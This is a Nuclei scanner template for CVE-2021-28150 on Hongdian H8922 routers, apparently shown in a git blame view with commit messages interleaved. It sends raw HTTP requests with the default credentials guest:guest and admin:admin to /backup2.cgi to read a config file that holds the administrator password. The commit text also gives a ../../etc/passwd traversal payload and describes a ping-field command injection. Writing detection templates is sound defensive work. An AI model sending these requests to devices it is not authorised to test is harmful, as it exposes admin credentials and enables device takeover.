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nuclei-templates/cves/2021/CVE-2021-28150.yaml

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Create Hongdian Vulnerability CVE-2021-28149 : Hongdian H8922 3.0.5 devices allow Directory Traversal. The /log_download.cgi log export handler does not validate user input and allows a remote attacker with minimal privileges to download any file from the device by substituting ../ (e.g., ../../etc/passwd) This can be carried out with a web browser by changing the file name accordingly. Upon visiting log_download.cgi?type=../../etc/passwd and logging in, the web server will allow a download of the contents of the /etc/passwd file. CVE-2021-28150 : Hongdian H8922 3.0.5 devices allow the unprivileged guest user to read cli.conf (with the administrator password and other sensitive data) via /backup2.cgi. CVE-2021-28151 : Hongdian H8922 3.0.5 devices allow OS command injection via shell metacharacters into the ip-address (aka Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-10 12:16:35 +00:00
id: CVE-2021-28150
info:
name: Hongdian Sensitive Information
author: gy741
severity: medium
description: |
Hongdian H8922 3.0.5 devices allow the unprivileged guest user to read cli.conf (with the administrator password and other sensitive data) via /backup2.cgi.
Removed pipe (|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84
2021-08-18 11:37:49 +00:00
reference:
minor updates
2021-07-10 13:15:09 +00:00
- https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
Create Hongdian Vulnerability CVE-2021-28149 : Hongdian H8922 3.0.5 devices allow Directory Traversal. The /log_download.cgi log export handler does not validate user input and allows a remote attacker with minimal privileges to download any file from the device by substituting ../ (e.g., ../../etc/passwd) This can be carried out with a web browser by changing the file name accordingly. Upon visiting log_download.cgi?type=../../etc/passwd and logging in, the web server will allow a download of the contents of the /etc/passwd file. CVE-2021-28150 : Hongdian H8922 3.0.5 devices allow the unprivileged guest user to read cli.conf (with the administrator password and other sensitive data) via /backup2.cgi. CVE-2021-28151 : Hongdian H8922 3.0.5 devices allow OS command injection via shell metacharacters into the ip-address (aka Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-10 12:16:35 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-28150
uniform tags
2021-07-26 08:55:43 +00:00
tags: cve,cve2021,hongdian,exposure
Create Hongdian Vulnerability CVE-2021-28149 : Hongdian H8922 3.0.5 devices allow Directory Traversal. The /log_download.cgi log export handler does not validate user input and allows a remote attacker with minimal privileges to download any file from the device by substituting ../ (e.g., ../../etc/passwd) This can be carried out with a web browser by changing the file name accordingly. Upon visiting log_download.cgi?type=../../etc/passwd and logging in, the web server will allow a download of the contents of the /etc/passwd file. CVE-2021-28150 : Hongdian H8922 3.0.5 devices allow the unprivileged guest user to read cli.conf (with the administrator password and other sensitive data) via /backup2.cgi. CVE-2021-28151 : Hongdian H8922 3.0.5 devices allow OS command injection via shell metacharacters into the ip-address (aka Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-10 12:16:35 +00:00
requests:
- raw:
- |
GET /backup2.cgi HTTP/1.1
Host: {{Hostname}}
Cache-Control: max-age=0
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
- |
GET /backup2.cgi HTTP/1.1
Host: {{Hostname}}
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "application/octet-stream"
part: header
- type: word
words:
- "CLI configuration saved from vty"
minor updates
2021-07-10 13:15:09 +00:00
- "service webadmin"
part: body